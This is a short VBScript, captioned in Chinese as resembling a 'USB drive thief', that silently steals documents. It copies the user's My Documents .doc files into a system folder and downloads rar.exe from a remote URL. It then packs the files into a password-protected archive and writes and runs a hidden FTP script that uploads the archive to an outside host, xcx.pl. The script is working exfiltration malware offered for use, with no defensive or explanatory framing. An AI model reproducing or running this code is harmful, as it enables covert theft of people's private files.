autoftp.vbs 类似u盘大盗

Set ObjFSO=CreateObject("Scripting.FileSystemObject")
Set wshshell=Wscript.CreateObject("Wscript.Shell")
osdir=Wshshell.ExpandEnvironmentStrings("%systemroot%")
strMyDocumente = WshShell.SpecialFolders("MyDocuments")
Set f=Objfso.GetFolder(osdir)

If Not ( Objfso.FolderExists(f&"\ftp.txt")) Then
set thisfile=ObjFSO.OpenTextFile(f&"\ftp.txt",2,True,0)
thisfile.write("open xcx.pl 21"&vbcrlf&"用户名"&vbcrlf&"密码"&vbcrlf&"put "&f&"\temp\"&date&".rar"&vbcrlf&"bye"&vbcrlf)
thisfile.close
End if

If Not ( Objfso.FolderExists(f&"\"&date)) Then
     
   Set objFolder = objFSO.CreateFolder(f&"\"&date)

End if

If ( Objfso.FolderExists(objFolder)) Then
     
   objFSO.CopyFile strMyDocumente&"\*.doc", objFolder , True

End If

If Not Objfso.FileExists(f&"\system32\rar.exe") Then
 
    Set x= CreateObject("Microsoft.XMLHTTP")
    x.Open "GET","http://url/rar.exe",0
    x.Send()
    Set s = CreateObject("ADODB.Stream")
  with s
   .Type = 1
   .Open()
   .Write(x.responseBody)
   .SaveToFile f&"\system32\rar.exe" ,2
  End with
    WScript.Sleep 72000
End if

If  Objfso.FileExists(f&"\system32\rar.exe") Then

wshshell.run "cmd /c rar.exe a -hp[密码] "&f&"\temp\"&date&".rar " &f&"\"&date&"\*.doc" ,0
wscript.sleep 72000
wshshell.run "cmd /c ftp -s:"&f&"\ftp.txt",0

End if